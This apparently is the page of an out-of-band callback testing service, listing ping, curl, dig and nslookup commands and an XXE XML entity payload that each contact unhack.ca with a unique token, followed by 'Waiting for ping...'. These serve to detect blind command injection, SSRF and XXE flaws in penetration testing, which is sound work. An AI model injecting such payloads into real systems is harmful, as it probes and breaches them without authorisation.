$ ping -c1 -p 001893daa649bb7a2fcb151869107800 unhack.ca
 
$ curl http://unhack.ca/p/1893daa649bb7a2fcb1518691078
 
$ dig 1893daa649bb7a2fcb1518691078 @unhack.ca
 
$ dig 1893daa649bb7a2fcb1518691078.ns.unhack.ca
 
C:\> nslookup 1893daa649bb7a2fcb1518691078 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/1893daa649bb7a2fcb1518691078">]>
    <foo>&xxe;</foo>
Waiting for ping...